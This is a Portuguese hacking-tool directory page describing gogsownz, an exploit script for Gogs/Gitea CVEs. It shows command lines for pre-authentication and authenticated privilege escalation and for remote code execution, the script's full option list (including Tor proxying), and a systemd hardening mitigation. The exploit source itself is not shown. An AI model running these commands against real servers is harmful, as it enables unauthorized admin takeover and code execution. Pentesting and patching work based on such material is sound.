Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
gogsownz — CVEs do Gogs | Kitploit
Ferramentas/GitHubGitHub/thez3ro/gogsownz
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebFerramenta de Acesso Remoto
GitHubthez3ro/gogsownz

gogsownz

CVEs do Gogs

Ver Repositório
79154há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GogsOwnz

GogsOwnz é um script simples para obter direitos de administrador e RCE em um servidor Gogs/Gitea.
Explora vulnerabilidades no Gogs/Gitea, incluindo CVE-2018-18925, CVE-2018-20303.

Aviso Legal
Este script é oferecido como está. Sem garantia, use por sua conta e risco, por favor, obedeça à lei.

Uso Típico - [Por favor, leia o uso completo]

Obter informações sobre o Gogs/Gitea em execução

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

Explorar pré-autenticação PrivEsc

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

Explorar PrivEsc

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

ou alternativamente

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

Explorar pré-autenticação RCE

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

Explorar RCE com autenticação

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

Uso completo

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

Agradecimentos

Agradecimentos a:

  • Tencent Security (@md5_salt, @ma7h1as e @chromium1337)
  • PentesterLab (@snyff)
  • LuckyC4t
  • a comunidade de segurança do gogs :D

Leitura adicional

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

Mitigações

Se você tomar cuidado ao configurar seu arquivo de unidade systemd, ficará agradavelmente surpreso ao ver que a exploração é um tanto contida:

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

Isso pelo menos manterá o acesso ao sistema de arquivos contido em um sistema de arquivos efêmero criado pelo systemd. Ajuda, mas você provavelmente deve corrigir a elevação de privilégios e não dar acesso de administrador... obviamente.

Baixar ferramenta